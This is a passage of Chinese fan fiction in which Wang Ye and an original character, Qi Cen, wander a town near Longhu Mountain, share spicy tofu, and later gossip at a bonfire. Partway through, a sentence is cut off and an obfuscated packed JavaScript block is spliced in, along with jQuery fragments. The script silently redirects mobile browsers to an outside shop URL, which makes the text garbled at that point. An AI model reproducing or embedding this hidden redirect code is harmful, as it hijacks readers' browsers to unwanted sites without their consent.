从饭馆出来,阳光正好,古镇的街上人来人往,正是热闹的时候。
两人并排走着,有一搭没一搭地聊着天,偶尔看见文创小店什么的,齐岑就拉着王也进去转转。
若瞧见入眼的,就直接买下来。
齐岑买了一个小巧的钛合金扇,白金扇面,绘着几笔浅金色的云纹,线条精细,很是别致。
王也拿在手里掂了掂:“还挺沉,你买这玩意儿干嘛用?”他把扇子递还给她,“要是天儿热扇风,这玩意儿可费胳膊,估计风没多少,胳膊先废了。”
齐岑展开扇面扇了两下,开玩笑道:“当暗器怎么样?”
王也笑了一声:“行啊,这要是扇人脸,估计一下就给人拍懵了。”
两人正说着,一个年轻的男孩凑上来,脸有点红,手机攥着手机,欲言又止。
“不好意思,”男孩挠了挠头,“我们在玩真心话大冒险,我输了,惩罚是得问这条街上第一个经过这,穿着绿色衣服的人,叫什么名字。”
他说完,冲着街对面的房檐下努了努嘴,几个年轻男女正朝着这边张望,几乎笑成一团。
齐岑顺着他的视线看了一眼,又转回来,歪了歪头,眼睛里有笑意流淌。
“你可以叫我仙女。”
男孩明显愣了一下,脸更红了,说话有些结巴:“谢……谢谢。”
他转身走了,那群年轻人笑得更欢了。
“走了,仙女儿,再往前转转。”王也看他一眼,率先迈开脚步。
齐岑笑着跟上。
两人又沿着古街走了一段,然后拐进了一条巷子,巷子窄,两侧都是老墙,脚下的青石板缝里长着青苔。走到头,眼前豁然开朗,泸溪河就在流淌着。
和武当山不同,龙虎山的商业规划做得比较成熟,自然风光与市井的喧嚣融合得恰到好处。
齐岑偏头看了眼身侧的人,觉得心境无比平和。
无论是武当山的安静还是龙虎山的热闹,她都喜欢,但身边这个人,只在武当。
“罗天大醮结束后,王道长直接回武当吗?”
“嗯。”王也问,“你呢?”
齐岑想了想:“回学校吧。”
空气安静下来,两人向前走着,谁都没再说话。
河边的草地上,零星点缀着几株蒲公英,白色的绒球来回摇晃着,风一吹,就散了几絮,悠悠地飘到了水面上。
“回吧,道长。”齐岑说。
“成。”
两人回到主街,路过一个烤豆腐摊,铁板上滋滋冒着油花,辣椒和孜然的香味直往鼻子里扑。
齐岑停下来看了一眼。
“姑娘,来一份?”摊主热情招呼。
王也扫码付了钱。
“你这胃口还挺好的。”
“来都来了。”
王也觉得这话好像也没毛病。
因刚吃过饭的缘故,齐岑要了一个小份,微辣。
边走边吃,她用签子扎起一块,咬了一口,辣味在口腔里弥漫开来,饶是作为一个常年吃辣的川渝人,也觉得有种直冲天灵盖的感觉。
但真的好吃。
她把纸碗往旁边一递:“尝尝?”
王也看她一眼,瞅着那碗里红红的一片,用另一根签子扎了一块,放进嘴里,辣得他吸了口气。
“辣吗?”她的笑容里带着几分得逞的意味。
王也哼了一声,嘴硬道:“还行。”
武当山上虽然饮食清淡,但他也不是一点辣吃不了。
不过,这个豆腐的辣度有点过了,他就吃了一块,舌尖就开始发颤。
他寻思着买两杯冷饮解解辣,环视一圈,没瞧见店铺。
齐岑继续吃着,王也愣是一口都不碰了,就算她再递过来,他也给推回去,顺便还劝劝她。
“少吃点辣,吃多伤胃。”
“知道了,道长。”她嘴上应着,但碗里的豆腐是一块没少吃,眼瞅着就见底了。
正巧面前跑来一小孩,她往旁边让了一步,脚下不小心被青石板的缝绊了一下。
就这么一颠,嘴里的豆腐没咽对地方,辣椒直接呛进了嗓子眼。
“咳。”
那一下来得又急又狠。
齐岑偏过头去,用手背挡着嘴,咳得整个肩膀都在抖。辣味顺着气管往上窜,眼眶一下就红了,眼泪都给逼了出来。
“哎,”王也看她。
她摆摆手,想说“没事”,话没说出来,又是一阵猛咳。
手里的纸碗已经被王也顺手接过去,另一只手下意识地在她后背拍了拍。
“我说你这,”他的语气里带了点无奈,“小心点啊,这呛一下要命啊。”
说着,他从腰间拿下保温杯,拧开盖子,递到她面前。
“来,先喝点水,顺顺。”
齐岑红着眼睛接过来,就着杯口连续喝了好几口,辣味总算被压下去了一点。
“好点没?”王也问。
“嗯,”她飞快地应了一声,把保温杯还给他,抬手用指腹蹭掉眼角的泪。
王也手里还端着纸碗,里面还剩下两块豆腐。
“还吃吗?”
“不吃了。”
又往前走了一段,路过垃圾桶,王也顺手将纸碗往里一扔。
“前面有家冷饮店,咱买两杯,正好压压。”
“好。”
等回到后山的时候已经是下午3点了,两人并肩走着,正好迎面撞上诸葛青。
他笑眯眯地在王也和齐岑之间来回打量:“二位这是遛弯呢?”
王也一脸若无其事,打了个哈欠:“啊……随便走走。”
“那便不打扰二位了。”诸葛青礼貌地点了下头,径直离开了。
王也不动声色地瞥了齐岑一眼,见她神色如常,刚刚也并没有要跟他拉开距离的意思。
“王道长,走了。”齐岑晃着她那把亮瞎眼的钛合金扇,渐渐走远了。
王也照旧往后山深处溜达,随便找棵顺眼的树,往下边一窝。
有点口渴,他摸出保温杯喝了一口,才后知后觉,下午的时候,齐岑用过他的杯子。
他愣了下,重新将杯盖拧好,放回原处。
折腾了一天,他身心俱疲,迫切需要休息。但一闭眼,脑子里开始放幻灯片,怎么都暂停不了的那种。
她的睡脸,她的长发,她的绿色衬衫,还有她的温度。
如汹涌的潮水,澎湃不息。
他掀起一半眼皮,自嘲地笑笑。
得,王也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871808|212299||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,还清修呢,修出这来了?
合着他还是一俗人,俗不可耐。可不嘛,七情六欲,人之常情,他是人,又不是石头,只是,他没想到,这事儿怎么就降到他身上了?
就说这趟不该来,来了清闲日子也就到头了,张楚岚,诸葛青,齐岑,啧,都是麻烦。
还有那霍尔科,像个什么似的,阴魂不散,他注意到了,齐岑手腕上那镯子就没离过身。
他闭了闭眼,要命呐。
比赛仍旧按部就班地进行着。
齐岑时不时就喊王也吃饭,遛弯,他还是和以前一样懒,但虽迟必到。
参赛的选手们也几乎混熟了,其中最受瞩目的莫过于张楚岚,无形大贱,不摇碧莲,这八个大字已经跟铁标签似的焊在他身上了。
确实挺让人长见识的。
到了月圆夜,陆玲珑他们组织了一个篝火晚会,说是热闹热闹。
霍尔科自然是要去的,他拉着齐岑,玩得那叫一个开心。
王也是不爱凑这热闹的,自晚饭后就没见着人,估计是又跑哪个旮旯躲清闲去了。
篝火在后山空地中央燃起,火光跳跃,将周围的一切都染成暖色调。
到场的人极多,只要没下山的,几乎都过来了,众人围着篝火,笑闹声,酒瓶声搅在一起,热闹非凡。
“狐狸在那边。”霍尔科眼尖,离老远就瞅见诸葛青一个人孤零在地上坐着,不知道在干什么。
“有猫腻啊,走,阿岑,过去看看。”
齐岑跟着霍尔科过去,刚走近,霍尔科就大喇喇地往地上一坐,往诸葛青身后瞧:“狐狸,又偷听什么呢?”
诸葛青眯着个眼,嘴角上扬,胸前两指并拢,翘得笔直。
齐岑能感觉到周围有炁的波动,她顺着霍尔科的视线望去,不远处,是张灵玉和枳瑾花,两人不知道在说什么。
巽字决,听风吟。
霍尔科也来了兴致,从兜里摸出一副分体式蓝牙耳机,还不忘递给齐岑一只:“一块听听。”
这货儿是怎么把偷听这事说得理直气壮的?
这蓝牙耳机是个法器,霍尔科管它叫“顺风”,顾名思义,顺风耳一般的存在,启动后可以听清一定范围内的所有声音。
齐岑没拒绝,不听白不听。她坐在一块石头上,伸手接过来戴上,耳机才一入耳,清晰的谈话声就溜了进来。
……
“我们都认识这么久了,你就告诉我谁拿了你的一血吧,我绝对不外传,告诉我嘛告诉我嘛。”
“……”
信息量爆炸,看上去冰清玉洁的张灵玉不是处了?
当真是核弹级八卦。
“我靠,张灵玉这家伙竟然有女人?”霍尔科一脸兴奋。
诸葛青笑:“这对于他来说,算是一段黑历史了。”
说话间,诸葛青的目光有意无意地扫了眼齐岑。
别说张灵玉,兴许武当山那位王也道长,也有点苗头。
他当时还疑惑,这姑娘怎么就单单去看王也的比赛,直到他遇见二人同行,心里也就明白了七八分。
这姑娘跟老霍关系近,人长得也漂亮,他之前是起过一点心思,现下他倒是没了想法。
有主的花儿可碰不得,不如看戏。